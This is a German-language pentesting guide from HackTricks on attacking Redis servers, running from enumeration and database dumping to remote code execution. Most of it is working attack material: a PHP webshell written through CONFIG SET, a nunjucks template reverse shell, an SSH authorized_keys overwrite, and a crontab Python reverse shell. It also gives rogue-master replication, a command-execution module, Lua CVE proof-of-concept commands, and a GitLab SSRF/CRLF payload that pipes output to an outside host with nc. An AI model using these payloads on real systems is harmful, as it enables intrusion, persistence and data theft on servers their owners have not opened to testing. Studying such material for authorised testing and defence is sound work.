6379 - Pentesting Redis
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Aus the docs: Redis ist ein Open-Source-Projekt (BSD-lizenziert), ein In-Memory-Store für Datenstrukturen, das als Datenbank, Cache und Nachrichtenbroker verwendet wird).
Standardmäßig verwendet Redis ein textbasiertes Protokoll, aber man sollte beachten, dass es auch ssl/tls unterstützen kann. Erfahre, wie man run Redis with ssl/tls here.
Standardport: 6379
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Automatic Enumeration
Einige automatisierte Tools, die helfen können, Informationen aus einer redis-Instanz zu erhalten:
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
Manual Enumeration
Banner
Redis ist ein textbasiertes Protokoll, du kannst einfach den Befehl in einem socket senden und die zurückgegebenen Werte sind lesbar. Beachte auch, dass Redis ssl/tls verwenden kann (aber das ist sehr ungewöhnlich).
In einer normalen Redis-Instanz kannst du dich einfach mit nc verbinden oder du kannst auch redis-cli verwenden:
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
Der erste Befehl, den Sie ausprobieren könnten, ist info. Er kann eine Ausgabe mit Informationen zur Redis-Instanz oder etwas wie Folgendes zurückgeben:
-NOAUTH Authentication required.
In diesem letzten Fall bedeutet das, dass du gültige credentials benötigst, um auf die Redis-Instanz zuzugreifen.
Redis Authentication
Standardmäßig kann auf Redis ohne credentials zugegriffen werden. Allerdings kann es konfiguriert werden, um nur password, oder username + password zu unterstützen.
Es ist möglich, ein password in der redis.conf Datei mit dem Parameter requirepass zu setzen oder temporär (bis zum Neustart des Dienstes), indem man sich verbindet und config set requirepass p@ss$12E45 ausführt.
Außerdem kann ein username im Parameter masteruser innerhalb der redis.conf Datei konfiguriert werden.
Tip
Wenn nur password konfiguriert ist, wird als username “default” verwendet.
Beachte auch, dass es keine Möglichkeit gibt, extern zu erkennen, ob Redis nur mit password oder mit username+password konfiguriert wurde.
In solchen Fällen musst du gültige credentials finden, um mit Redis zu interagieren, daher könntest du versuchen, es zu brute-force.
Falls du gültige credentials gefunden hast, musst du die Session authentifizieren nachdem du die Verbindung hergestellt hast mit dem Befehl:
AUTH <username> <password>
Gültige Anmeldeinformationen werden mit: +OK beantwortet
Authenticated enumeration
Wenn der Redis-Server anonyme Verbindungen erlaubt oder Sie gültige Anmeldeinformationen erhalten haben, können Sie den Enumerierungsprozess für den Dienst mit den folgenden Befehlen starten:
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
Weitere Redis-Befehle finden Sie hier und hier.
Beachte, dass die Redis-Befehle einer Instanz umbenannt oder in der redis.conf entfernt werden können. Zum Beispiel entfernt diese Zeile den Befehl FLUSHDB:
rename-command FLUSHDB ""
Mehr zur sicheren Konfiguration eines Redis-Services hier: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
Du kannst außerdem Redis-Befehle in Echtzeit überwachen, die mit dem Befehl monitor ausgeführt werden, oder die Top 25 langsamsten Abfragen mit slowlog get 25 abrufen.
Weitere interessante Informationen zu Redis-Befehlen findest du hier: https://lzone.de/cheat-sheet/Redis
Datenbank auslesen
Innerhalb von Redis sind die Datenbanken durchnummeriert, beginnend bei 0. Du kannst sehen, ob eine verwendet wird, in der Ausgabe des Befehls info im Abschnitt “Keyspace”:
.png)
Oder du kannst einfach alle Keyspaces (Datenbanken) mit:
INFO keyspace
In diesem Beispiel werden die Datenbanken 0 und 1 verwendet. Datenbank 0 enthält 4 Keys und Datenbank 1 enthält 1. Standardmäßig verwendet Redis Datenbank 0. Um zum Beispiel Datenbank 1 zu dumpen, müssen Sie Folgendes tun:
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
Falls du den folgenden Fehler -WRONGTYPE Operation against a key holding the wrong kind of value erhältst, während du GET <KEY> ausführst, liegt das daran, dass der Key möglicherweise etwas anderes als ein string oder integer ist und einen speziellen Operator benötigt, um ihn anzuzeigen.
Um den Typ des Keys zu ermitteln, benutze den Befehl TYPE. Beispiel unten für list und hash keys.
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
Dump the database with npm redis-dump or python redis-utils
Redis RCE
Interaktive Shell
redis-rogue-server kann automatisch eine interaktive Shell oder eine reverse Shell in Redis(<=5.0.5) bekommen.
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
PHP Webshell
Informationen von here. Du musst den Pfad des Webseiten-Ordners kennen:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
Wenn der webshell-Zugriff fehlschlägt, kannst du die Datenbank nach vorheriger Sicherung leeren und es erneut versuchen. Denk daran, die Datenbank wiederherzustellen.
Template Webshell
Wie im vorherigen Abschnitt kannst du auch eine html template file überschreiben, die von einer template engine interpretiert wird, und so eine shell erhalten.
Zum Beispiel, anhand von this writeup, sieht man, dass der Angreifer eine rev shell in an html injiziert hat, die von der nunjucks template engine interpretiert wird:
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
Warning
Beachte, dass mehrere Template-Engines die Templates im Speicher cachen, sodass selbst wenn du sie überschreibst, das neue Template nicht ausgeführt wird. In solchen Fällen hat der Entwickler entweder das automatische Reload aktiviert gelassen oder du musst einen DoS gegen den Service durchführen (und davon ausgehen, dass er automatisch neu gestartet wird).
SSH
Example from here
Bitte beachte, dass das Ergebnis von config get dir sich nach anderen manuellen Exploit-Kommandos ändern kann. Es wird empfohlen, es gleich nach dem Login in Redis zuerst auszuführen. In der Ausgabe von config get dir findest du eventuell das Home des redis user (meist /var/lib/redis oder /home/redis/.ssh), und wenn du dieses kennst, weißt du, wo du die Datei authenticated_users schreiben kannst, um dich per ssh als user redis anzumelden. Wenn du das Home eines anderen gültigen Benutzers kennst, bei dem du Schreibrechte hast, kannst du es ebenfalls ausnutzen:
- Erzeuge auf deinem PC ein ssh public-private key Paar:
ssh-keygen -t rsa - Schreibe den öffentlichen Schlüssel in eine Datei:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt - Importiere die Datei in redis:
cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key - Speichere den öffentlichen Schlüssel in der authorized_keys Datei auf dem redis-Server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
- Schließlich kannst du dich mit dem privaten Schlüssel per ssh auf dem redis server anmelden: ssh -i id_rsa redis@10.85.0.52
Diese Technik ist hier automatisiert: https://github.com/Avinash-acid/Redis-Server-Exploit
Zusätzlich können Systembenutzer auch entdeckt werden, indem man mit config set dir /home/USER prüft, und nach Bestätigung eine neue authorized_keys nach /home/USER/.ssh/authorized_keys schreibt. Verwende redis-rce-ssh, um dies mit einer Benutzernamen-Wordlist zu bruteforcen und authorized_keys zu überschreiben.
Crontab
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
Das letzte Beispiel ist für Ubuntu, für Centos sollte der obige Befehl sein: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
Diese Methode kann auch verwendet werden, um Bitcoin zu verdienen :yam
Redis-Modul laden
- Den Anweisungen von https://github.com/n0b0dyCN/RedisModules-ExecuteCommand folgend können Sie ein redis module kompilieren, um beliebige commands auszuführen.
- Dann benötigen Sie eine Möglichkeit, das kompilierte Modul hochzuladen
- Laden Sie das hochgeladene Modul zur Laufzeit mit
MODULE LOAD /path/to/mymodule.so - Liste der geladenen Module anzeigen, um zu prüfen, ob es korrekt geladen wurde:
MODULE LIST - Ausführen von commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
- Entladen Sie das Modul jederzeit:
MODULE UNLOAD mymodule
LUA sandbox bypass
Here können Sie sehen, dass Redis den Befehl EVAL verwendet, um Lua code sandboxed auszuführen. In dem verlinkten Beitrag sehen Sie wie man es missbrauchen kann mittels der dofile-Funktion, aber apparently ist das offenbar nicht mehr möglich. Wenn Sie jedoch die Lua-Sandbox umgehen können, könnten Sie beliebige Befehle auf dem System ausführen. Außerdem finden Sie im selben Beitrag einige Optionen, um DoS zu verursachen.
Einige CVEs, um aus LUA zu entkommen:
Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)
Neuere Redis-Releases haben mehrere Probleme in der eingebetteten Lua-Engine behoben, die Sandbox-Escape, Speicherbeschädigung und Cross-User Code-Execution ermöglichen. Diese Techniken gelten, wenn:
- Angreifer sich bei Redis authentifizieren können und Lua aktiviert ist (EVAL/EVALSHA oder FUNCTION nutzbar)
- Redis-Version älter ist als 8.2.2, 8.0.4, 7.4.6, 7.2.11 oder 6.2.20
Tipp: Wenn Sie neu bei Lua-Sandboxing-Tricks sind, schauen Sie sich diese Seite für allgemeine Techniken an:
Kontext auf Patch-Ebene:
- Behoben in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
- Betroffen, wenn Lua-Scripting aktiviert ist und die oben genannten Versionen nicht angewendet wurden
CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)
- Idee: Erzwinge garbage collection, während der Parser noch auf ein frisch eingefügtes TString verweist. Wenn die GC es freigibt, verwendet der Parser einen freigegebenen Pointer (UAF) → crash/DoS und potenzielle native Code-Ausführung außerhalb der Lua-Sandbox.
- Trigger-Strategie:
- Erzeuge Speicherdruck mit riesigen Strings, um GC-Aktivität zu fördern
- Führe explizit GC aus, während ein großer Quellabschnitt kompiliert wird
- Kompiliere in einer Schleife ein sehr großes Lua-Skript, bis GC mit dem Parsing zusammenfällt
Minimaler EVAL-Harness, um Abstürze zu reproduzieren
# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0
Hinweise:
- Mehrere Versuche können erforderlich sein, um GC mit luaY_parser auszurichten. Ein Absturz deutet darauf hin, dass die UAF getroffen wurde.
- Von exploitation bis zur RCE erfordert memory grooming und native code pivoting jenseits der Redis Lua sandbox.
CVE-2025-46817 — Integerüberlauf in unpack (lbaselib.c: luaB_unpack)
- Ursache: Die Anzahl
n = e - i + 1wird ohne unsigned-Casts berechnet, sodass extreme Indizes überlaufen, wodurch Lua versucht, viel mehr Elemente zu unpacken, als vorhanden sind → Stack-Korruption und Speichererschöpfung. - PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
- Erwarten Sie, dass der Server versucht, eine enorme Anzahl von Werten zurückzugeben und schließlich abstürzt oder OOM.
CVE-2025-46818 — Cross-user privilege escalation via basic type metatables
- Ursache: Bei der Engine-Initialisierung wurden die metatables für grundlegende Typen (z. B. strings, booleans) nicht auf read-only gesetzt. Jeder authentifizierte Benutzer kann sie vergiften, um Methoden einzuschleusen, die andere Benutzer später aufrufen könnten.
- Beispiel (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
- Auswirkung: Cross-user code execution in der Lua sandbox using the victim’s Redis permissions. Nützlich für lateral movement/priv-esc innerhalb von Redis ACL-Kontexten.
Master-Slave Module
Beim Master-Slave-Setup werden alle Operationen des master redis automatisch mit dem slave redis synchronisiert, was bedeutet, dass wir das verwundbare redis als slave redis betrachten können, das mit einem von uns kontrollierten master redis verbunden ist. Dann können wir Befehle an unser eigenes redis senden.
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
SSRF mit Redis kommunizieren
Wenn Sie clear text Anfragen an Redis senden können, können Sie mit Redis kommunizieren, da Redis die Anfrage zeilenweise liest und nur mit Fehlern auf die Zeilen antwortet, die es nicht versteht:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
Daher, wenn du eine SSRF vuln auf einer Website findest und einige headers (vielleicht mit einer CRLF vuln) oder POST parameters kontrollieren kannst, wirst du in der Lage sein, beliebige Befehle an Redis zu senden.
Beispiel: Gitlab SSRF + CRLF to Shell
In Gitlab11.4.7 wurden eine SSRF-Schwachstelle und eine CRLF-Schwachstelle entdeckt. Die SSRF-Schwachstelle befand sich in der import project from URL functionality beim Erstellen eines neuen Projekts und erlaubte den Zugriff auf beliebige IPs in der Form [0:0:0:0:0:ffff:127.0.0.1] (dies greift auf 127.0.0.1 zu), und die CRLF-Schwachstelle wurde einfach durch Hinzufügen der %0D%0A-Zeichen zur URL ausgenutzt.
Deshalb war es möglich, abuse these vulnerabilities to talk to the Redis instance, die die manages queues von gitlab verwaltet, auszunutzen und diese Queues zu missbrauchen, um obtain code execution zu erlangen. The Redis queue abuse payload is:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
Und die URL encode Anfrage, die SSRF und CRLF ausnutzt, um whoami auszuführen und die Ausgabe per nc zurückzusenden, ist:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Aus irgendeinem Grund (wie beim Autor von https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ von dem diese Informationen stammen) the exploitation worked mit dem git scheme und nicht mit dem http scheme.
Referenzen
- Recent Vulnerabilities in Redis Server’s Lua Scripting Engine (OffSec)
- NVD: CVE-2025-49844
- NVD: CVE-2025-46817
- NVD: CVE-2025-46818
- Wiz analysis of Redis RCE (CVE-2025-49844)
- PoC: CVE-2025-49844 — Lua parser UAF
- PoC: CVE-2025-46817 — unpack integer overflow
- PoC: CVE-2025-46818 — basic-type metatable abuse
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

